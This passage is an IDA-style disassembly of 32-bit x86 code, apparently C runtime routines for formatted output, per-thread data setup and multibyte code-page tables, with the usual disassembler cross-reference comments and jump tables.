		mov	[ebp+var_10], 1
		jmp	short loc_42B14D
; ---------------------------------------------------------------------------


loc_42B135:				; CODE XREF: sub_42A6B0+A73j
		mov	eax, [ebp+var_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_42B14D
		mov	[ebp+var_240], 20h
		mov	[ebp+var_10], 1


loc_42B14D:				; CODE XREF: sub_42A6B0+A4Cj
					; sub_42A6B0+A69j ...
		mov	ecx, [ebp+var_244]
		sub	ecx, [ebp+var_24]
		sub	ecx, [ebp+var_10]
		mov	[ebp+var_27C], ecx
		mov	edx, [ebp+var_4]
		and	edx, 0Ch
		test	edx, edx
		jnz	short loc_42B185
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	20h
		call	sub_42B460
		add	esp, 10h


loc_42B185:				; CODE XREF: sub_42A6B0+AB7j
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		lea	eax, [ebp+var_240]
		push	eax
		call	sub_42B4A0
		add	esp, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42B1D3
		mov	edx, [ebp+var_4]
		and	edx, 4
		test	edx, edx
		jnz	short loc_42B1D3
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	30h
		call	sub_42B460
		add	esp, 10h


loc_42B1D3:				; CODE XREF: sub_42A6B0+AFBj
					; sub_42A6B0+B05j
		cmp	[ebp+var_1C], 0
		jz	loc_42B281
		cmp	[ebp+var_24], 0
		jle	loc_42B281
		mov	eax, [ebp+var_20]
		mov	[ebp+var_280], eax
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_284], ecx


loc_42B1F9:				; CODE XREF: sub_42A6B0+BCAj
		mov	edx, [ebp+var_284]
		mov	eax, [ebp+var_284]
		sub	eax, 1
		mov	[ebp+var_284], eax
		test	edx, edx
		jz	short loc_42B27F
		mov	ecx, [ebp+var_280]
		mov	dx, [ecx]
		mov	[ebp+var_2A6], dx
		mov	ax, [ebp+var_2A6]
		push	eax
		lea	ecx, [ebp+var_288]
		push	ecx
		mov	edx, [ebp+var_280]
		add	edx, 2
		mov	[ebp+var_280], edx
		call	sub_4340E0
		add	esp, 8
		mov	[ebp+var_28C], eax
		cmp	[ebp+var_28C], 0
		jg	short loc_42B259
		jmp	short loc_42B27F
; ---------------------------------------------------------------------------


loc_42B259:				; CODE XREF: sub_42A6B0+BA5j
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_28C]
		push	edx
		lea	eax, [ebp+var_288]
		push	eax
		call	sub_42B4A0
		add	esp, 10h
		jmp	loc_42B1F9
; ---------------------------------------------------------------------------


loc_42B27F:				; CODE XREF: sub_42A6B0+B60j
					; sub_42A6B0+BA7j
		jmp	short loc_42B29C
; ---------------------------------------------------------------------------


loc_42B281:				; CODE XREF: sub_42A6B0+B27j
					; sub_42A6B0+B31j
		lea	ecx, [ebp+var_22C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	sub_42B4A0
		add	esp, 10h


loc_42B29C:				; CODE XREF: sub_42A6B0:loc_42B27Fj
		mov	edx, [ebp+var_4]
		and	edx, 4
		test	edx, edx
		jz	short loc_42B2C2
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	20h
		call	sub_42B460
		add	esp, 10h


loc_42B2C2:				; CODE XREF: sub_42A6B0+ADj
					; sub_42A6B0+155j ...
		jmp	loc_42A6D4
; ---------------------------------------------------------------------------


loc_42B2C7:				; CODE XREF: sub_42A6B0+3Bj
					; sub_42A6B0+48j
		mov	eax, [ebp+var_22C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42A6B0	endp

; ---------------------------------------------------------------------------
off_42B2D4	dd offset loc_42A770	; DATA XREF: sub_42A6B0+B9r
		dd offset loc_42A80A
		dd offset loc_42A84C
		dd offset loc_42A8BB
		dd offset loc_42A913
		dd offset loc_42A922
		dd offset loc_42A96E
		dd offset loc_42AA01
off_42B2F4	dd offset loc_42A898	; DATA XREF: sub_42A6B0+1CCr
		dd offset loc_42A8A3
		dd offset loc_42A88E
		dd offset loc_42A883
		dd offset loc_42A8AE
		dd offset loc_42A8B6
byte_42B30C	db 0			; DATA XREF: sub_42A6B0+1C6r
		db 2 dup(5), 1
		dd 5050505h, 2050505h, 5050305h
		db 4
off_42B31D	dd offset loc_42A9B0	; DATA XREF: sub_42A6B0+2EEr
		dd offset loc_42A9E9
		dd offset loc_42A9A5
		dd offset loc_42A9F3
		dd offset loc_42A9FC
byte_42B331	db 0, 1Eh dup(4), 1, 3 dup(4), 2, 0Ah dup(4), 3	; DATA XREF: sub_42A6B0+2E8r
off_42B360	dd offset loc_42AA3C	; DATA XREF: sub_42A6B0+385r
		dd offset loc_42ACD0
		dd offset loc_42AB60
		dd offset loc_42AE09
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0AAh, 42h, 0
		dd offset loc_42AA51
		dd offset loc_42ADDB
		dd offset loc_42ACE0
		dd offset loc_42AC85
		dd offset loc_42AE55
; ---------------------------------------------------------------------------
		jmp	fword ptr [ebp-5489FFBEh]
; ---------------------------------------------------------------------------
		dw 42h
		dd offset loc_42ADF3
		dd offset loc_42AE15
		dd offset loc_42B0E7
byte_42B39C	db 0			; DATA XREF: sub_42A6B0+37Fr
		db 0Eh,	1, 0Eh
		dd 0E0E0E01h, 2	dup(0E0E0E0Eh),	0E0E0E02h, 40E030Eh, 2 dup(0E0E0E0Eh)
		dd 7070605h, 0E060E07h,	80E0E0Eh, 0E0E0A09h, 0E0C0E0Bh
		dd 0CCCC0D0Eh, 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B3E0	proc near		; CODE XREF: sub_42A6B0+F5p
					; sub_42A6B0+14Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_4]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+4], 0
		jl	short loc_42B422
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+arg_0]
		and	ecx, 0FFh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_42B435
; ---------------------------------------------------------------------------


loc_42B422:				; CODE XREF: sub_42B3E0+1Aj
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A430
		add	esp, 8
		mov	[ebp+var_4], eax


loc_42B435:				; CODE XREF: sub_42B3E0+40j
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_42B446
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx], 0FFFFFFFFh
		jmp	short loc_42B453
; ---------------------------------------------------------------------------


loc_42B446:				; CODE XREF: sub_42B3E0+59j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax


loc_42B453:				; CODE XREF: sub_42B3E0+64j
		mov	esp, ebp
		pop	ebp
		retn
sub_42B3E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B460	proc near		; CODE XREF: sub_42A6B0+ACDp
					; sub_42A6B0+B1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp


loc_42B463:				; CODE XREF: sub_42B460:loc_42B491j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		test	eax, eax
		jle	short loc_42B493
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42B3E0
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	short loc_42B491
		jmp	short loc_42B493
; ---------------------------------------------------------------------------


loc_42B491:				; CODE XREF: sub_42B460+2Dj
		jmp	short loc_42B463
; ---------------------------------------------------------------------------


loc_42B493:				; CODE XREF: sub_42B460+11j
					; sub_42B460+2Fj
		pop	ebp
		retn
sub_42B460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B4A0	proc near		; CODE XREF: sub_42A6B0+AEBp
					; sub_42A6B0+BC2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx


loc_42B4A4:				; CODE XREF: sub_42B4A0:loc_42B4E4j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		test	eax, eax
		jle	short loc_42B4E6
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		call	sub_42B3E0
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	short loc_42B4E4
		jmp	short loc_42B4E6
; ---------------------------------------------------------------------------


loc_42B4E4:				; CODE XREF: sub_42B4A0+40j
		jmp	short loc_42B4A4
; ---------------------------------------------------------------------------


loc_42B4E6:				; CODE XREF: sub_42B4A0+12j
					; sub_42B4A0+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_42B4A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B4F0	proc near		; CODE XREF: sub_42A6B0+218p
					; sub_42A6B0+27Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	eax, [ecx-4]
		pop	ebp
		retn
sub_42B4F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B510	proc near		; CODE XREF: sub_42A6B0+7D5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		sub	ecx, 8
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		pop	ebp
		retn
sub_42B510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B530	proc near		; CODE XREF: sub_42A6B0+3B2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ax, [ecx-4]
		pop	ebp
		retn
sub_42B530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B550	proc near		; CODE XREF: .XComp0:loc_4248A4p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4258B0
		nop
		call	near ptr 29C0000h
		mov	dword_452508, eax
		cmp	dword_452508, 0FFFFFFFFh
		jnz	short loc_42B571
		xor	eax, eax
		jmp	short loc_42B5CE
; ---------------------------------------------------------------------------


loc_42B571:				; CODE XREF: sub_42B550+1Bj
		push	61h
		push	offset aTidtable_c ; "tidtable.c"
		push	2
		push	74h
		push	1
		call	sub_41F230
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42B5A4
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, dword_452508
		push	ecx
		nop
		call	near ptr 29B0CE4h
		test	eax, eax
		jnz	short loc_42B5A8


loc_42B5A4:				; CODE XREF: sub_42B550+3Dj
		xor	eax, eax
		jmp	short loc_42B5CE
; ---------------------------------------------------------------------------


loc_42B5A8:				; CODE XREF: sub_42B550+52j
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_42B610
		add	esp, 4
		nop
		call	near ptr 29B0CABh
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		mov	eax, 1


loc_42B5CE:				; CODE XREF: sub_42B550+1Fj
					; sub_42B550+56j
		mov	esp, ebp
		pop	ebp
		retn
sub_42B550	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_4258F0
		cmp	dword_452508, 0FFFFFFFFh
		jz	short loc_42B607
		mov	eax, dword_452508
		push	eax
		nop
		call	near ptr 29C03CFh
		mov	dword_452508, 0FFFFFFFFh


loc_42B607:				; CODE XREF: .XComp0:0042B5EFj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B610	proc near		; CODE XREF: sub_42B550+5Cp
					; sub_42B630+5Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+50h], offset dword_452A18
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+14h], 1
		pop	ebp
		retn
sub_42B610	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B630	proc near		; CODE XREF: sub_421AC0+3p
					; sub_421AD0+4p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		nop
		call	near ptr 27B0F7Fh
		mov	[ebp+var_8], eax
		mov	eax, dword_452508
		push	eax
		nop
		call	near ptr 29C0C92h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42B6B7
		push	0E7h
		push	offset aTidtable_c ; "tidtable.c"
		push	2
		push	74h
		push	1
		call	sub_41F230
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42B6AD
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, dword_452508
		push	edx
		nop
		call	near ptr 29B0CE4h
		test	eax, eax
		jz	short loc_42B6AD
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42B610
		add	esp, 4
		nop
		call	near ptr 29B0CABh
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		jmp	short loc_42B6B7
; ---------------------------------------------------------------------------


loc_42B6AD:				; CODE XREF: sub_42B630+43j
					; sub_42B630+58j
		push	10h
		call	sub_424980
		add	esp, 4


loc_42B6B7:				; CODE XREF: sub_42B630+22j
					; sub_42B630+7Bj
		mov	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 29C0B2Ah
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42B630	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_452508, 0FFFFFFFFh
		jz	loc_42B7D5
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42B6F5
		mov	eax, dword_452508
		push	eax
		call	near ptr 29C0C92h
		nop
		mov	[ebp+8], eax


loc_42B6F5:				; CODE XREF: .XComp0:0042B6E4j
		cmp	dword ptr [ebp+8], 0
		jz	loc_42B7C6
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+24h], 0
		jz	short loc_42B719
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+24h]
		push	eax
		call	sub_41F970
		add	esp, 8


loc_42B719:				; CODE XREF: .XComp0:0042B706j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+28h], 0
		jz	short loc_42B733
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+28h]
		push	eax
		call	sub_41F970
		add	esp, 8


loc_42B733:				; CODE XREF: .XComp0:0042B720j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+30h], 0
		jz	short loc_42B74D
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+30h]
		push	eax
		call	sub_41F970
		add	esp, 8


loc_42B74D:				; CODE XREF: .XComp0:0042B73Aj
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+38h], 0
		jz	short loc_42B767
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+38h]
		push	eax
		call	sub_41F970
		add	esp, 8


loc_42B767:				; CODE XREF: .XComp0:0042B754j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+40h], 0
		jz	short loc_42B781
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+40h]
		push	eax
		call	sub_41F970
		add	esp, 8


loc_42B781:				; CODE XREF: .XComp0:0042B76Ej
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+44h], 0
		jz	short loc_42B79B
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+44h]
		push	eax
		call	sub_41F970
		add	esp, 8


loc_42B79B:				; CODE XREF: .XComp0:0042B788j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+50h], offset dword_452A18
		jz	short loc_42B7B8
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+50h]
		push	eax
		call	sub_41F970
		add	esp, 8


loc_42B7B8:				; CODE XREF: .XComp0:0042B7A5j
		push	2
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41F970
		add	esp, 8


loc_42B7C6:				; CODE XREF: .XComp0:0042B6F9j
		push	0
		mov	edx, dword_452508
		push	edx
		call	near ptr 29B0CE4h
		nop


loc_42B7D5:				; CODE XREF: .XComp0:0042B6DAj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	near ptr 29B0CABh
		nop
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		nop
		call	near ptr 29C0ECDh
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B800	proc near		; CODE XREF: sub_42BFE0+Ep

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	19h
		call	sub_425990
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42BB50
		add	esp, 4
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_4E96AC
		jnz	short loc_42B83B
		push	19h
		call	sub_425A30
		add	esp, 4
		xor	eax, eax
		jmp	loc_42BB40
; ---------------------------------------------------------------------------


loc_42B83B:				; CODE XREF: sub_42B800+28j
		cmp	[ebp+arg_0], 0
		jnz	short loc_42B85C
		call	sub_42BC30
		call	sub_42BCB0
		push	19h
		call	sub_425A30
		add	esp, 4
		xor	eax, eax
		jmp	loc_42BB40
; ---------------------------------------------------------------------------


loc_42B85C:				; CODE XREF: sub_42B800+3Fj
		mov	[ebp+var_4], 0
		jmp	short loc_42B86E
; ---------------------------------------------------------------------------


loc_42B865:				; CODE XREF: sub_42B800:loc_42B9BAj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42B86E:				; CODE XREF: sub_42B800+63j
		cmp	[ebp+var_4], 5
		jnb	loc_42B9BF
		mov	eax, [ebp+var_4]
		imul	eax, 30h
		mov	ecx, dword_452518[eax]
		cmp	ecx, [ebp+arg_0]
		jnz	loc_42B9BA
		mov	[ebp+var_24], 0
		jmp	short loc_42B89F
; ---------------------------------------------------------------------------


loc_42B896:				; CODE XREF: sub_42B800+B2j
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx


loc_42B89F:				; CODE XREF: sub_42B800+94j
		cmp	[ebp+var_24], 101h
		jnb	short loc_42B8B4
		mov	eax, [ebp+var_24]
		mov	byte_4E97C0[eax], 0
		jmp	short loc_42B896
; ---------------------------------------------------------------------------


loc_42B8B4:				; CODE XREF: sub_42B800+A6j
		mov	[ebp+var_C], 0
		jmp	short loc_42B8C6
; ---------------------------------------------------------------------------


loc_42B8BD:				; CODE XREF: sub_42B800:loc_42B942j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_42B8C6:				; CODE XREF: sub_42B800+BBj
		cmp	[ebp+var_C], 4
		jnb	short loc_42B947
		mov	edx, [ebp+var_4]
		imul	edx, 30h
		mov	eax, [ebp+var_C]
		lea	ecx, dword_452528[edx+eax*8]
		mov	[ebp+var_8], ecx
		jmp	short loc_42B8EA
; ---------------------------------------------------------------------------


loc_42B8E1:				; CODE XREF: sub_42B800:loc_42B940j
		mov	edx, [ebp+var_8]
		add	edx, 2
		mov	[ebp+var_8], edx


loc_42B8EA:				; CODE XREF: sub_42B800+DFj
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42B942
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_42B942
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_24], edx
		jmp	short loc_42B916
; ---------------------------------------------------------------------------


loc_42B90D:				; CODE XREF: sub_42B800+13Ej
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax


loc_42B916:				; CODE XREF: sub_42B800+10Bj
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx+1]
		cmp	[ebp+var_24], edx
		ja	short loc_42B940
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		mov	dl, byte_4E97C1[eax]
		or	dl, byte_452510[ecx]
		mov	eax, [ebp+var_24]
		mov	byte_4E97C1[eax], dl
		jmp	short loc_42B90D
; ---------------------------------------------------------------------------


loc_42B940:				; CODE XREF: sub_42B800+121j
		jmp	short loc_42B8E1
; ---------------------------------------------------------------------------


loc_42B942:				; CODE XREF: sub_42B800+F3j
					; sub_42B800+FFj
		jmp	loc_42B8BD
; ---------------------------------------------------------------------------


loc_42B947:				; CODE XREF: sub_42B800+CAj
		mov	ecx, [ebp+arg_0]
		mov	dword_4E96AC, ecx
		mov	dword_4E96BC, 1
		mov	edx, dword_4E96AC
		push	edx
		call	sub_42BBB0
		add	esp, 4
		mov	dword_4E98C4, eax
		mov	[ebp+var_C], 0
		jmp	short loc_42B980
; ---------------------------------------------------------------------------


loc_42B977:				; CODE XREF: sub_42B800+1A2j
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_42B980:				; CODE XREF: sub_42B800+175j
		cmp	[ebp+var_C], 6
		jnb	short loc_42B9A4
		mov	ecx, [ebp+var_4]
		imul	ecx, 30h
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_C]
		mov	cx, word_45251C[ecx+eax*2]
		mov	word_4E96B0[edx*2], cx
		jmp	short loc_42B977
; ---------------------------------------------------------------------------


loc_42B9A4:				; CODE XREF: sub_42B800+184j
		call	sub_42BCB0
		push	19h
		call	sub_425A30
		add	esp, 4
		xor	eax, eax
		jmp	loc_42BB40
; ---------------------------------------------------------------------------


loc_42B9BA:				; CODE XREF: sub_42B800+87j
		jmp	loc_42B865
; ---------------------------------------------------------------------------


loc_42B9BF:				; CODE XREF: sub_42B800+72j
		lea	edx, [ebp+var_20]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 29D0000h
		cmp	eax, 1
		jnz	loc_42BB12
		mov	[ebp+var_24], 0
		jmp	short loc_42B9E8
; ---------------------------------------------------------------------------


loc_42B9DF:				; CODE XREF: sub_42B800+1FBj
		mov	ecx, [ebp+var_24]
		add	ecx, 1
		mov	[ebp+var_24], ecx


loc_42B9E8:				; CODE XREF: sub_42B800+1DDj
		cmp	[ebp+var_24], 101h
		jnb	short loc_42B9FD
		mov	edx, [ebp+var_24]
		mov	byte_4E97C0[edx], 0
		jmp	short loc_42B9DF
; ---------------------------------------------------------------------------


loc_42B9FD:				; CODE XREF: sub_42B800+1EFj
		mov	eax, [ebp+arg_0]
		mov	dword_4E96AC, eax
		mov	dword_4E98C4, 0
		cmp	[ebp+var_20], 1
		jbe	loc_42BACE
		lea	ecx, [ebp+var_1A]
		mov	[ebp+var_28], ecx
		jmp	short loc_42BA2A
; ---------------------------------------------------------------------------


loc_42BA21:				; CODE XREF: sub_42B800:loc_42BA7Aj
		mov	edx, [ebp+var_28]
		add	edx, 2
		mov	[ebp+var_28], edx


loc_42BA2A:				; CODE XREF: sub_42B800+21Fj
		mov	eax, [ebp+var_28]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42BA7C
		mov	edx, [ebp+var_28]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_42BA7C
		mov	ecx, [ebp+var_28]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_24], edx
		jmp	short loc_42BA56
; ---------------------------------------------------------------------------


loc_42BA4D:				; CODE XREF: sub_42B800+278j
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax


loc_42BA56:				; CODE XREF: sub_42B800+24Bj
		mov	ecx, [ebp+var_28]
		xor	edx, edx
		mov	dl, [ecx+1]
		cmp	[ebp+var_24], edx
		ja	short loc_42BA7A
		mov	eax, [ebp+var_24]
		mov	cl, byte_4E97C1[eax]
		or	cl, 4
		mov	edx, [ebp+var_24]
		mov	byte_4E97C1[edx], cl
		jmp	short loc_42BA4D
; ---------------------------------------------------------------------------


loc_42BA7A:				; CODE XREF: sub_42B800+261j
		jmp	short loc_42BA21
; ---------------------------------------------------------------------------


loc_42BA7C:				; CODE XREF: sub_42B800+233j
					; sub_42B800+23Fj
		mov	[ebp+var_24], 1
		jmp	short loc_42BA8E
; ---------------------------------------------------------------------------


loc_42BA85:				; CODE XREF: sub_42B800+2ACj
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax


loc_42BA8E:				; CODE XREF: sub_42B800+283j
		cmp	[ebp+var_24], 0FFh
		jnb	short loc_42BAAE
		mov	ecx, [ebp+var_24]
		mov	dl, byte_4E97C1[ecx]
		or	dl, 8
		mov	eax, [ebp+var_24]
		mov	byte_4E97C1[eax], dl
		jmp	short loc_42BA85
; ---------------------------------------------------------------------------


loc_42BAAE:				; CODE XREF: sub_42B800+295j
		mov	ecx, dword_4E96AC
		push	ecx
		call	sub_42BBB0
		add	esp, 4
		mov	dword_4E98C4, eax
		mov	dword_4E96BC, 1
		jmp	short loc_42BAD8
; ---------------------------------------------------------------------------


loc_42BACE:				; CODE XREF: sub_42B800+213j
		mov	dword_4E96BC, 0


loc_42BAD8:				; CODE XREF: sub_42B800+2CCj
		mov	[ebp+var_C], 0
		jmp	short loc_42BAEA
; ---------------------------------------------------------------------------


loc_42BAE1:				; CODE XREF: sub_42B800+2FDj
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_42BAEA:				; CODE XREF: sub_42B800+2DFj
		cmp	[ebp+var_C], 6
		jnb	short loc_42BAFF
		mov	eax, [ebp+var_C]
		mov	word_4E96B0[eax*2], 0
		jmp	short loc_42BAE1
; ---------------------------------------------------------------------------


loc_42BAFF:				; CODE XREF: sub_42B800+2EEj
		call	sub_42BCB0
		push	19h
		call	sub_425A30
		add	esp, 4
		xor	eax, eax
		jmp	short loc_42BB40
; ---------------------------------------------------------------------------


loc_42BB12:				; CODE XREF: sub_42B800+1D0j
		cmp	dword_4E92C4, 0
		jz	short loc_42BB33
		call	sub_42BC30
		call	sub_42BCB0
		push	19h
		call	sub_425A30
		add	esp, 4
		xor	eax, eax
		jmp	short loc_42BB40
; ---------------------------------------------------------------------------


loc_42BB33:				; CODE XREF: sub_42B800+319j
		push	19h
		call	sub_425A30
		add	esp, 4
		or	eax, 0FFFFFFFFh


loc_42BB40:				; CODE XREF: sub_42B800+36j
					; sub_42B800+57j ...
